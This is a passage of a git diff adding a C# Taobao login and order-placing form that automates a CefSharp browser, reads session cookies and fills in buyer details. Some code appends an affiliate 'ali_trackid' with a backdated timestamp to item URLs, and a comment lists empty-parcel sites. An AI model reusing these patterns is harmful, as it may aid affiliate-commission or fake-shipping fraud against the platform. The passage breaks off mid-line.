this.panelLogin.Style.GradientAngle = 90; + this.panelLogin.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelLogin.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelLogin.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelLogin.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelLogin.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelLogin.TabIndex = 522; + this.panelLogin.Text = "保存"; + this.panelLogin.Click += new System.EventHandler(this.panelLogin_Click); + // + // panelAddUpProId + // + this.panelAddUpProId.CanvasColor = System.Drawing.SystemColors.Control; + this.panelAddUpProId.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelAddUpProId.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelAddUpProId.DisabledBackColor = System.Drawing.Color.Empty; + this.panelAddUpProId.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelAddUpProId.Location = new System.Drawing.Point(9, 6); + this.panelAddUpProId.Name = "panelAddUpProId"; + this.panelAddUpProId.Size = new System.Drawing.Size(65, 21); + this.panelAddUpProId.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelAddUpProId.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(174)))), ((int)(((byte)(157))))); + this.panelAddUpProId.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(174)))), ((int)(((byte)(157))))); + this.panelAddUpProId.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelAddUpProId.Style.CornerDiameter = 1; + this.panelAddUpProId.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelAddUpProId.Style.ForeColor.Color = System.Drawing.Color.White; + this.panelAddUpProId.Style.GradientAngle = 90; + this.panelAddUpProId.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelAddUpProId.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(174)))), ((int)(((byte)(157))))); + this.panelAddUpProId.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(174)))), ((int)(((byte)(157))))); + this.panelAddUpProId.StyleMouseDown.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(174)))), ((int)(((byte)(157))))); + this.panelAddUpProId.StyleMouseDown.ForeColor.Color = System.Drawing.Color.White; + this.panelAddUpProId.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelAddUpProId.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(174)))), ((int)(((byte)(157))))); + this.panelAddUpProId.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(174)))), ((int)(((byte)(157))))); + this.panelAddUpProId.StyleMouseOver.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(174)))), ((int)(((byte)(157))))); + this.panelAddUpProId.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.panelAddUpProId.TabIndex = 463; + this.panelAddUpProId.Text = "添加上家"; + this.panelAddUpProId.Visible = false; + this.panelAddUpProId.Click += new System.EventHandler(this.panelAddUpProId_Click); + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.Location = new System.Drawing.Point(0, 32); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.panelDelTwo); + this.splitContainer2.Panel1.Controls.Add(this.panelAddUpProId); + this.splitContainer2.Panel1.Controls.Add(this.txtPwd); + this.splitContainer2.Panel1.Controls.Add(this.panelLogin); + this.splitContainer2.Panel1.Controls.Add(this.userComboBoxTaoBao); + this.splitContainer2.Panel1.Controls.Add(this.txtAcc); + this.splitContainer2.Panel1.Controls.Add(this.panelFresh); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.splitContainer1); + this.splitContainer2.Size = new System.Drawing.Size(1120, 793); + this.splitContainer2.SplitterDistance = 42; + this.splitContainer2.TabIndex = 1; + // + // panelDelTwo + // + this.panelDelTwo.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelDelTwo.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelDelTwo.DisabledBackColor = System.Drawing.Color.Empty; + this.panelDelTwo.Font = new System.Drawing.Font("微软雅黑", 8F, System.Drawing.FontStyle.Bold); + this.panelDelTwo.Location = new System.Drawing.Point(155, 5); + this.panelDelTwo.Name = "panelDelTwo"; + this.panelDelTwo.Padding = new System.Windows.Forms.Padding(0, 0, 0, 3); + this.panelDelTwo.Size = new System.Drawing.Size(15, 23); + this.panelDelTwo.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelDelTwo.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelDelTwo.Style.BackColor2.Color = System.Drawing.Color.White; + this.panelDelTwo.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelDelTwo.Style.BorderColor.Color = System.Drawing.Color.White; + this.panelDelTwo.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.panelDelTwo.Style.BorderWidth = 0; + this.panelDelTwo.Style.CornerDiameter = 1; + this.panelDelTwo.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelDelTwo.Style.GradientAngle = 90; + this.panelDelTwo.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelDelTwo.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelDelTwo.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelDelTwo.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelDelTwo.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelDelTwo.TabIndex = 596; + this.panelDelTwo.Text = "x"; + this.panelDelTwo.Click += new System.EventHandler(this.panelDelTwo_Click); + // + // TaobaoLoginForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(1120, 825); + this.Controls.Add(this.splitContainer2); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "TaobaoLoginForm"; + this.Text = "淘宝网"; + this.TitleText = "淘宝网"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.TaobaoLoginForm_FormClosing); + this.Load += new System.EventHandler(this.TaobaoLoginForm_Load); + this.Controls.SetChildIndex(this.splitContainer2, 0); + this.splitContainer1.Panel2.ResumeLayout(false); + this.splitContainer1.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBoxSku)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.wwPictureBox)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.SubOrderPictureBox)).EndInit(); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private DevComponents.DotNetBar.Controls.TextBoxX buyCountTextBoxX; + private System.Windows.Forms.Label lblbuyCount; + private System.Windows.Forms.Label lblsku; + private DevComponents.DotNetBar.Controls.TextBoxX expressNoTextBoxX; + private System.Windows.Forms.Label lblExpressNo; + private DevComponents.DotNetBar.Controls.TextBoxX addressTextBoxX; + private System.Windows.Forms.Label lblAddress; + private DevComponents.DotNetBar.Controls.TextBoxX mobileTextBoxX; + private System.Windows.Forms.Label lblmobile; + private DevComponents.DotNetBar.Controls.TextBoxX userNameTextBoxX; + private System.Windows.Forms.Label lblUserName; + private DevComponents.DotNetBar.Controls.TextBoxX skuComboBoxEx; + private System.Windows.Forms.Label lblPayCuccessTips; + private DevComponents.DotNetBar.Controls.TextBoxX leaveMessageTextBoxX; + private System.Windows.Forms.Label lblLeave; + private System.Windows.Forms.Label labelPrice; + private DevComponents.DotNetBar.Controls.TextBoxX textBoxXPrice; + private System.Windows.Forms.Label lblNote; + private DevComponents.DotNetBar.Controls.TextBoxX txtServiceNote; + private System.Windows.Forms.Label lblSubOrderTips1; + private System.Windows.Forms.Label lblSubOrderTips2; + private System.Windows.Forms.PictureBox SubOrderPictureBox; + private System.Windows.Forms.PictureBox wwPictureBox; + private DevComponents.DotNetBar.Controls.TextBoxX txtTbCookies; + private System.Windows.Forms.Label lblTbCookiesPath; + private DevComponents.DotNetBar.PanelEx panelNextOrder; + private DevComponents.DotNetBar.PanelEx panelOpenProUrl; + private DevComponents.DotNetBar.PanelEx panelLoginBuyer; + private DevComponents.DotNetBar.PanelEx panelCopy; + private DevComponents.DotNetBar.PanelEx panelPaySuccess; + private DevComponents.DotNetBar.PanelEx panelWwChat; + private DevComponents.DotNetBar.PanelEx panelFresh; + private DevComponents.DotNetBar.PanelEx panelSavePath; + private System.Windows.Forms.Label lblSkuImg; + private System.Windows.Forms.PictureBox pictureBoxSku; + private System.Windows.Forms.SplitContainer splitContainer2; + private DevComponents.DotNetBar.PanelEx panelAddUpProId; + private DevComponents.DotNetBar.PanelEx panelExpDetail; + private System.Windows.Forms.Label lbltips; + private DevComponents.DotNetBar.PanelEx panelLogin; + public System.Windows.Forms.ComboBox userComboBoxTaoBao; + private DevComponents.DotNetBar.Controls.TextBoxX txtAcc; + private DevComponents.DotNetBar.Controls.TextBoxX txtPwd; + private DevComponents.DotNetBar.PanelEx panelDelTwo; + } +} \ No newline at end of file diff --git a/29WxOrder/TaobaoLoginForm.cs b/29WxOrder/TaobaoLoginForm.cs new file mode 100644 index 0000000..e09f89c --- /dev/null +++ b/29WxOrder/TaobaoLoginForm.cs @@ -0,0 +1,2667 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Windows.Forms; +using CefSharp; +using CefSharp.WinForms; +using System.Threading; +using System.Linq; +using Work; +using AllBase; +using System.Drawing; +using System.IO; +using System.Diagnostics; +using Work.Pinduoduo; +using System.Threading.Tasks; +using Work.BaseForms; +using static Work.PayGroupOrder; +using Work.Model; +using FindLittleRabbitOrder; +using FindLittleRabbitOrder.OrderForms; +using Work.BuyUsers; + +namespace FindGoldCatExploder +{ + public partial class TaobaoLoginForm : BaseForm + { + + /// + /// 1:登录,2:拼单,3:拍单,4:查看订单,5:空包网,6:订单详情 7:旺旺登录 8:淘宝首页搜同款 9:订单详情 + /// + public int ShowType = 1; + //表示淘宝 + public long Id = 1; + //登录地址 + public string WebUrl = ""; + public string UpId = ""; + public string TbKeId = ""; + + public ChromiumWebBrowser cefWebBrowser1 = null; + + public static bool LoginOk = false; + public static string SignWordBase = ".`~^*_| -#$%&?+"; + public static string TaoKePid = ""; + + //判断是否支付成功 + public bool GetOk = false; + + public PayGroupOrderBase Order = new PayGroupOrderBase(); + + public ExpressBase Express = new ExpressBase(); + public List Skumaps = new List(); + public delegate void delegateView(); + public delegate void delegateViewGrid(string orderid); + public delegate void delegateClick(object sender, EventArgs e); + //public MainForm mf; + public BuyOrderListForm pdForm; + //public AfterSaleForm afterSaleForm; + public MainForm mainNForm; + public static string PddUid = ""; + public string Mobile = ""; + public string Html; + public string SkuImg = "";//sku图 + public string tkRateUrl = "";//推广获取佣金url + public string webRedUrl = "";//领取红包url + public bool isTgRate = false;//是否已经跳转到推广页面 + public bool PhonePay = false;//是否走手机端拍单 + public bool isPhoneUrl = false;//是否加载过手机端详情 + public string phonePayUrl = "";//手机端详情页地址 + public static string wwUid = "";//旺旺用 + public static string wwFromId = "";//旺旺用 + + public bool isLoad = false;//旺旺登录跳转到个人中心的标识 + public int SelcetRowIndex = 0;//拍单时选中的行数 + + bool isLoginTip = false; + public string bizOrderId = "";//淘宝的订单Id + public bool isSlide = false;//是否出现滑动 + + //public SearchSameForm searchSameForm; + + public TaobaoLoginForm() + { + InitializeComponent(); + } + public void Ini() + { + string mainDomain = "taobao.com"; + while (string.IsNullOrEmpty(PddUid)) + { + Thread.Sleep(100); + if (BaseClass.CookiesAll.ContainsKey("taobao.com") && BaseClass.CookiesAll[mainDomain].ContainsKey("lid")) + { + PddUid = BaseClass.CookiesAll[mainDomain]["lid"]; + } + if (BaseClass.CookiesAll.ContainsKey("taobao.com") && BaseClass.CookiesAll[mainDomain].ContainsKey("dnk") && string.IsNullOrEmpty(PddUid)) + { + PddUid = BaseClass.CookiesAll[mainDomain]["dnk"]; + } + + } + } + + public void SetBrowserUrl() + { + try + { + cefWebBrowser1.Load("https://i.taobao.com/my_taobao.htm"); + } + catch + { + } + } + + public void TaobaoLoginForm_Load(object sender, EventArgs e) + { + if (ShowType == 4) + { + TitleText = "查看订单"; + } + if (ShowType == 8) + { + TitleText = "搜同款"; + } + if (ShowType == 1) + { + TitleText = "登录淘宝"; + new Thread(SetCombTb).Start(); + } + if (ShowType == 9) + { + TitleText = "淘宝"; + } + tkRateUrl = "";//推广获取佣金url + webRedUrl = "";//领取红包url + isTgRate = false;//是否已经跳转到推广页面 + loginEd = false; + isPhoneUrl = false;//是否加载过手机端详情 + wwUid = "";//旺旺用 + wwFromId = "";//旺旺用 + SkuImg = "";//sku图 + if (ShowType == 3)//拍单时才检查订单是否是待发货 + { + if (BaseClass.IsXiaoNaiNiu) + { + new Thread(CheckOrderTb).Start(); + } + else + { + new Thread(Check).Start(); + } + } + //if (BaseClass.PhonePay) + //{ + // lbltips.Visible = true; + // panelExpDetail.Visible = true; + //} + //else + //{ + lbltips.Visible = false; + panelExpDetail.Visible = false; + //} + if (BaseClass.Ico != null) + Icon = BaseClass.Ico; + + skuComboBoxEx.Text = Order.sku; + textBoxXPrice.Text = Order.price.ToString(); + txtServiceNote.Text = Order.service_Remark == "添加备注" ? "" : Order.service_Remark; + if (string.IsNullOrEmpty(WebUrl)) + { + if (Id == 0 && ShowType == 1) + { + if (BaseClass.PhonePay) + { + WebUrl = "https://login.m.taobao.com/login.htm?redirectURL=https%3A%2F%2Fmain.m.taobao.com%2Folist%2Findex.html%3Fspm%3Da215s.7406091.toolbar.i1"; + } + else + { + WebUrl = "https://login.taobao.com/member/login.jhtml?style=mini&newMini2=true&redirectURL=https://i.taobao.com/my_taobao.htm"; + } + } + else if (Id == 0) + { + WebUrl = "https://i.taobao.com/my_taobao.htm"; + } + else if (Id == 1) + { + WebUrl = "https://login.taobao.com/member/login.jhtml?from=taobaoindex&f=top&style=&sub=true&redirect_url=https%3A%2F%2Fmyseller.taobao.com%2Fseller_admin.htm"; + } + else + { + //WebUrl = "https://detail.tmall.com/item.htm?id=" + Id; + // WebUrl = "http://taoke.qixiaoke.com/index.php/clk/"+Id; + //WebUrl = MainForm.GetJumpUrl(UpId.Contains("al")?3:1, Id); + //new Thread(AddTaoBaoAddress).Start(); + //var xx = 1566631087; + //var yy = 1352812460; + //var x1 = BaseClass.StampToDateTime(xx); + //var y1 = BaseClass.StampToDateTime(yy); + + //var xxx = x1.AddDays(183); + if (!string.IsNullOrEmpty(TbKeId) && TbKeId.Contains("mm_")) + { + WebUrl = "https://item.taobao.com/item.htm?id=" + Id + "&ali_trackid=2:" + TbKeId + ":" + BaseClass.GetTime(DateTime.Now) + "_143_" + BaseClass.GetTime(DateTime.Now.AddYears(-3).AddDays(-123)) + ""; + //WebUrl = "https://detail.tmall.com/item.htm?id=" + Id + "&ali_trackid=2:" + TbKeId + ":0_0_0&pvid=null&scm=null"; + if (PhonePay) + { + //WebUrl = "https://h5.m.taobao.com/awp/core/detail.htm?id=" + Id + "&ali_trackid=2:" + TbKeId + ":0_0_0&pvid=null&scm=null"; + phonePayUrl = WebUrl; + } + + } + else + { + if (!string.IsNullOrEmpty(Order.extensionUrl)) + { + WebUrl = Order.extensionUrl.Replace("\\", ""); + } + else + { + WebUrl = PayGroupOrder.GetJumpUrl(UpId.Contains("al") ? 3 : 1, Id); + } + + phonePayUrl = WebUrl; + } + + if (!isTgRate) + { + //TbLianMengForm tbLmForm = new TbLianMengForm(); + //tbLmForm.goodUrl = WebUrl; + //tbLmForm.TbLianMengForm_Load(null, null); + //webRedUrl = tbLmForm.redUrl; + //tkRateUrl = tbLmForm.tkRateUrl; + + //if (!string.IsNullOrEmpty(webRedUrl) || !string.IsNullOrEmpty(tkRateUrl))//有红包 | 有推广金 + //{ + // //有红包先领红包,没有红包则直接加载推广页面 + // if (!string.IsNullOrEmpty(webRedUrl)) + // { + // //cefWebBrowser1.Load(webRedUrl); + // WebUrl = webRedUrl; + // } + // else + // { + // //cefWebBrowser1.Load(tkRateUrl); + // WebUrl = tkRateUrl; + // } + + //} + } + + new Thread(GetOrder).Start(); + ////new Thread(GetOrder).Start(); + //if (string.IsNullOrEmpty(PddUid)) + //{ + // if (Id > 0) + // { + // SetMessage("没有登录,请先登录"); + // this.Close(); + // TaobaoLoginForm taobaoBrowert = new TaobaoLoginForm(); + // //new SetCookiesUserInfo().Delete(); + // taobaoBrowert.WebUrl = ""; + // taobaoBrowert.Id = 0; + // taobaoBrowert.ShowType = 1; + // taobaoBrowert.Show(); + // taobaoBrowert.TaobaoLoginForm_Load(null, null); + // } + // return; + //} + } + //SetMaiJiaWindow(); + } + else if (WebUrl.Contains("detail.1688.com") || WebUrl.Contains("item.taobao.com")) + { + //new Thread(GetOrder).Start(); + } + + if (cefWebBrowser1 == null) + { + cefWebBrowser1 = new ChromiumWebBrowser(WebUrl); + //cefWebBrowser1.LifeSpanHandler = new LifeSpanHandler(this); + cefWebBrowser1.FrameLoadStart += CefWebBrowser_FrameLoadStart; + cefWebBrowser1.FrameLoadEnd += cefWebBrowser1_FrameLoadEnd; + //cefWebBrowser1.LoadError += cefWebBrowser1_LoadError; + cefWebBrowser1.KeyboardHandler = new CEFKeyBoardHander(); + cefWebBrowser1.Dock = DockStyle.Fill; + if (ShowType != 7) + { + cefWebBrowser1.RegisterJsObject("bound", new BoundObject(), BindingOptions.DefaultBinder); + } + + //this.Controls.Add(cefWebBrowser1); + splitContainer1.Panel1.Controls.Add(cefWebBrowser1); + } + else + { + //cefWebBrowser1.LifeSpanHandler= new LifeSpanHandler(this); + cefWebBrowser1.Load(WebUrl); + + cefWebBrowser1.Refresh(); + //if (Id>0) + //{ + // Thread.Sleep(1000); + // new Thread(SetMaiJiaWindow).Start(); + //} + + //SetMessage("没有登录,请先登录"); + + } + + new Thread(SetUrlThread).Start(); + new Thread(Ini).Start(); + //TopMost = MoseTopWin; + userNameTextBoxX.Text = Order.name; + mobileTextBoxX.Text = Order.mobile; + addressTextBoxX.Text = Order.address; + expressNoTextBoxX.Text = Express.name; + buyCountTextBoxX.Text = Order.buy_count.ToString(); + Skumaps.Clear(); + + #region 控件的显示|隐藏 + + if (ShowType == 1) + { + panelWwChat.Visible = false; + userNameTextBoxX.Visible = false; + mobileTextBoxX.Visible = false; + addressTextBoxX.Visible = false; + expressNoTextBoxX.Visible = false; + buyCountTextBoxX.Visible = false; + skuComboBoxEx.Visible = false; + textBoxXPrice.Visible = false; + txtServiceNote.Visible = false; + + lblUserName.Visible = false; + lblmobile.Visible = false; + lblAddress.Visible = false; + lblExpressNo.Visible = false; + lblbuyCount.Visible = false; + lblsku.Visible = false; + lblLeave.Visible = false; + leaveMessageTextBoxX.Visible = false; + panelCopy.Visible = false; + labelPrice.Visible = false; + lblNote.Visible = false; + panelPaySuccess.Visible = false; + panelOpenProUrl.Visible = false; + wwPictureBox.Visible = false; + SubOrderPictureBox.Visible = false; + lblSubOrderTips1.Visible = false; + lblSubOrderTips2.Visible = false; + lblPayCuccessTips.Visible = false; + lblSkuImg.Visible = false; + + userComboBoxTaoBao.Visible = true; + txtAcc.Visible = true; + txtPwd.Visible = true; + panelLogin.Visible = true; + + this.MaximizeBox = false;//使最大化窗口失效 + Size newSize = new Size(624, 640); + this.Size = newSize; + } + if (ShowType > 1) + { + panelWwChat.Visible = true; + panelWwChat.Visible = true; + userNameTextBoxX.Visible = true; + mobileTextBoxX.Visible = true; + addressTextBoxX.Visible = true; + expressNoTextBoxX.Visible = true; + buyCountTextBoxX.Visible = true; + skuComboBoxEx.Visible = true; + textBoxXPrice.Visible = true; + txtServiceNote.Visible = true; + + lblUserName.Visible = true; + lblmobile.Visible = true; + lblAddress.Visible = true; + lblExpressNo.Visible = true; + lblbuyCount.Visible = true; + lblsku.Visible = true; + lblLeave.Visible = true; + leaveMessageTextBoxX.Visible = true; + panelCopy.Visible = true; + labelPrice.Visible = true; + lblNote.Visible = true; + panelOpenProUrl.Visible = true; + lblSkuImg.Visible = true; + //Size = new Size(1136, 768); + this.MaximumSize = new Size(Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height); + WindowState = FormWindowState.Maximized; + } + if (ShowType == 4 || ShowType == 9) + { + userNameTextBoxX.Visible = false; + mobileTextBoxX.Visible = false; + addressTextBoxX.Visible = false; + expressNoTextBoxX.Visible = false; + buyCountTextBoxX.Visible = false; + skuComboBoxEx.Visible = false; + textBoxXPrice.Visible = false; + txtServiceNote.Visible = true; + + lblUserName.Visible = false; + lblmobile.Visible = false; + lblAddress.Visible = false; + lblExpressNo.Visible = false; + lblbuyCount.Visible = false; + lblsku.Visible = false; + lblLeave.Visible = false; + + leaveMessageTextBoxX.Visible = false; + panelCopy.Visible = false; + labelPrice.Visible = false; + lblNote.Visible = false; + txtServiceNote.Visible = false; + lblSkuImg.Visible = false; + wwPictureBox.Visible = false; + SubOrderPictureBox.Visible = false; + lblSubOrderTips1.Visible = false; + + splitContainer1.SplitterDistance = 1855; + } + if (ShowType == 7) + { + panelFresh.Visible = false; + panelWwChat.Visible = false; + panelPaySuccess.Visible = false; + addressTextBoxX.Visible = false; + lblPayCuccessTips.Visible = false; + panelLoginBuyer.Visible = false; + panelOpenProUrl.Visible = false; + wwPictureBox.Visible = false; + SubOrderPictureBox.Visible = false; + lblSubOrderTips1.Visible = false; + lblSubOrderTips2.Visible = false; + lblUserName.Visible = false; + userNameTextBoxX.Visible = false; + lblmobile.Visible = false; + mobileTextBoxX.Visible = false; + lblAddress.Visible = false; + lblExpressNo.Visible = false; + expressNoTextBoxX.Visible = false; + lblbuyCount.Visible = false; + buyCountTextBoxX.Visible = false; + labelPrice.Visible = false; + textBoxXPrice.Visible = false; + lblNote.Visible = false; + txtServiceNote.Visible = false; + skuComboBoxEx.Visible = false; + lblsku.Visible = false; + lblLeave.Visible = false; + leaveMessageTextBoxX.Visible = false; + panelCopy.Visible = false; + + lblTbCookiesPath.Visible = true; + txtTbCookies.Visible = true; + panelSavePath.Visible = true; + new Thread(ReflashCookies).Start(); + new Thread(ReadPath).Start(); + } + if (ShowType == 8) + { + panelAddUpProId.Visible = true; + + panelFresh.Visible = false; + panelWwChat.Visible = false; + panelPaySuccess.Visible = false; + addressTextBoxX.Visible = false; + lblPayCuccessTips.Visible = false; + panelLoginBuyer.Visible = false; + panelOpenProUrl.Visible = false; + wwPictureBox.Visible = false; + SubOrderPictureBox.Visible = false; + lblSubOrderTips1.Visible = false; + lblSubOrderTips2.Visible = false; + lblUserName.Visible = false; + userNameTextBoxX.Visible = false; + lblmobile.Visible = false; + mobileTextBoxX.Visible = false; + lblAddress.Visible = false; + lblExpressNo.Visible = false; + expressNoTextBoxX.Visible = false; + lblbuyCount.Visible = false; + buyCountTextBoxX.Visible = false; + labelPrice.Visible = false; + textBoxXPrice.Visible = false; + lblNote.Visible = false; + txtServiceNote.Visible = false; + skuComboBoxEx.Visible = false; + lblsku.Visible = false; + lblLeave.Visible = false; + leaveMessageTextBoxX.Visible = false; + panelCopy.Visible = false; + + lblSkuImg.Visible = false; + panelNextOrder.Visible = false; + + lblTbCookiesPath.Visible = false; + txtTbCookies.Visible = false; + panelSavePath.Visible = false; + + userComboBoxTaoBao.Visible = false; + txtAcc.Visible = false; + txtPwd.Visible = false; + panelLogin.Visible = false; + + WindowState = FormWindowState.Normal; + splitContainer1.SplitterDistance = 1000; + } + else + { + panelAddUpProId.Visible = false; + } + if (BaseClass.IsContinueBuy)//开启连续拍单 + { + panelNextOrder.Visible = true; + } + #endregion + + GetOk = false; + loginEd = false; + } + public void Check() + { + if (string.IsNullOrEmpty(Order.shop_name) || ShowType != 3 || !MulitServicerSet.Shops.ContainsKey(Order.shop_name)) + return; + ShopChatBase shop = MulitServicerSet.Shops[Order.shop_name]; + string html = "";//new PinduoduoApiGetProduct(shop).GetOrderInfo(Order.order_id); + int status = BaseRegex.GetIntJson(ref html, "order_status"); + int refund = BaseRegex.GetIntJson(ref html, "refund_status"); + if (status != 1 && refund != 1 && !html.Contains("订单不存在")) + { + MessageBox.Show("订单状态不正确,不是待代发货订单", "请检查"); + } + string st = ""; + if (status == 2) + st = "已发货待签收"; + if (status == 3) + st = "已签收"; + if (refund == 2) + st = "售后处理中"; + if (refund == 3) + st = "退款中"; + if (refund == 4) + st = "退款成功"; + + if (!string.IsNullOrEmpty(st)) + { + MessageBox.Show("订单状态不正确,不是待代发货订单\r\n当前状态为:" + st, "请检查"); + } + } + + #region 检查淘宝当前订单是否是待发货状态 + public void CheckOrderTb() + { + if (string.IsNullOrEmpty(Order.shop_name) || ShowType != 3 || !MulitServicerSet.Shops.ContainsKey(Order.shop_name)) + return; + ShopChatBase shop = MulitServicerSet.Shops[Order.shop_name]; + string url = "https://trade.taobao.com/trade/detail/trade_order_detail.htm?biz_order_id=" + Order.order_id; + string html = GetPostTaobaoHtml.UploadTaobao(url, url, false, shop.Cookies); + html = GetHtml.Decode(html); + html = html.Replace("\\", ""); + if (!html.Contains("statusInfo")) + return; + html = BaseRegex.GetMatchRegexString(ref html, "\"statusInfo\":([\\s\\S\\w\\W^}]+?)\n"); + html = BaseRegex.GetStringJson(ref html, "text"); + if (!html.Contains("等待商家发货")) + { + MessageBox.Show("订单状态不正确,不是待代发货订单\r\n" + html, "请检查"); + } + + } + #endregion + + bool isLoadTb = false; + /// + /// browser页面加载完成事件 + /// + /// + /// + private void cefWebBrowser1_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + string url = cefWebBrowser1.Address; + + new Thread(StopAlertEvent).Start();//禁用alert + + if (ShowType == 8 && url.Contains("https://www.taobao.com/") && !isLoadTb)//搜同款 + { + SearchTbSame(); + isLoad = true; + return; + } + if (ShowType == 8 && url.Contains("https://s.taobao.com/search")) + { + new Thread(ExecTbJs).Start();//清除target="_blank"; + } + if (url.Contains("main.m.taobao.com/odetail/index.html")) + { + if (InvokeRequired) + { + Invoke(new Action(() => + { + lbltips.Visible = true; + panelExpDetail.Visible = true; + })); + } + else + { + lbltips.Visible = true; + panelExpDetail.Visible = true; + } + } + if (ShowType == 8) + { + return; + } + + #region 判断是否掉线 + if (url.Contains("https://login.taobao.com/member/login.jhtml?redirectURL=") && ShowType == 4)//买手号掉线 + { + if (isLoginTip) + { + return; + } + new Thread(GetClose).Start(); + //SetMessage("登录失效,请重新登录登录"); + //if (InvokeRequired) + //{ + // Invoke(new Action(() => + // { + // BaseMsgForm.ShowInfo("登录失效,请重新登录登录"); + // })); + //} + //else + //{ + // BaseMsgForm.ShowInfo("登录失效,请重新登录登录"); + //} + + Thread.Sleep(1000); + if (mainNForm == null) + { + //mainNForm = new MainNewForm(); + return; + } + //if (InvokeRequired) + //{ + // Invoke(new Action(() => + // { + // //mainNForm.loginTaoBao(); + // mainNForm.loginTaoBao_New(); + // })); + //} + //else + //{ + // //mainNForm.loginTaoBao(); + // mainNForm.loginTaoBao_New(); + //} + isLoginTip = true; + return; + } + + #endregion + + #region 判断是否出现滑动 + if (url.Contains("trade/detail/trade_order_detail.htm") || url.Contains("trade/detail/trade_item_detail.htm"))//进入订单详情 + { + cefWebBrowser1.GetSourceAsync().ContinueWith(x => + { + var html = x.Result; + if (html.Contains("滑动")) + { + isSlide = true; + } + if (isSlide && !html.Contains("滑动") && html.Contains("订单编号") && !isLoad) + { + isLoad = true; + new Thread(GetLoginUserName).Start(); + } + + + }); + } + #endregion + + if (string.IsNullOrEmpty(wwUid) || string.IsNullOrEmpty(wwFromId)) + { + cefWebBrowser1.GetSourceAsync().ContinueWith(x => + { + var html = x.Result; + wwUid = BaseRegex.GetStringJson(ref html, "sellerNick"); + wwFromId = BaseRegex.GetMatchRegexString(ref html, "class=\"site-nav-login-info-nick \">([\\s\\S]+?)"); + if (string.IsNullOrEmpty(wwUid)) + { + wwUid = BaseRegex.GetMatchRegexString(ref html, "data-nick=\"[\\s\\S]+?\""); + } + if (string.IsNullOrEmpty(wwFromId)) + { + wwFromId = 